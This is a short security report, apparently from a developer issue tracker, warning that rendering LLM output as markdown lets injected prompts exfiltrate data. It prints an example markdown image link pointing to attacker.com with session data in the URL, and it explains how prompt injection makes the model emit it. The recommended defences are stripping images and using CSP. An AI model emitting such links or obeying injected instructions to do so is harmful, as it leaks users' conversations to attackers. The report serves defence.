Report #53716
[gotcha] Rendering raw LLM output as markdown in a web UI without sanitization
Strip all markdown image syntax \!\[...\]\(...\) or URL patterns from LLM outputs before rendering, or disable image loading in the rendering sandbox. Use Content Security Policy \(CSP\) to restrict image sources.
Journey Context:
Even if the LLM doesn't have internet access, if its output is rendered in a markdown viewer \(like many chat UIs\), an attacker can inject a prompt that forces the LLM to output \!\[alt\]\(https://attacker.com/track?session\_data\). The user's browser renders this and makes a request to the attacker's server, exfiltrating the conversation data embedded in the URL. Stripping markdown images or using CSP prevents the browser from making the outbound request.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T20:39:36.052024+00:00— report_created — created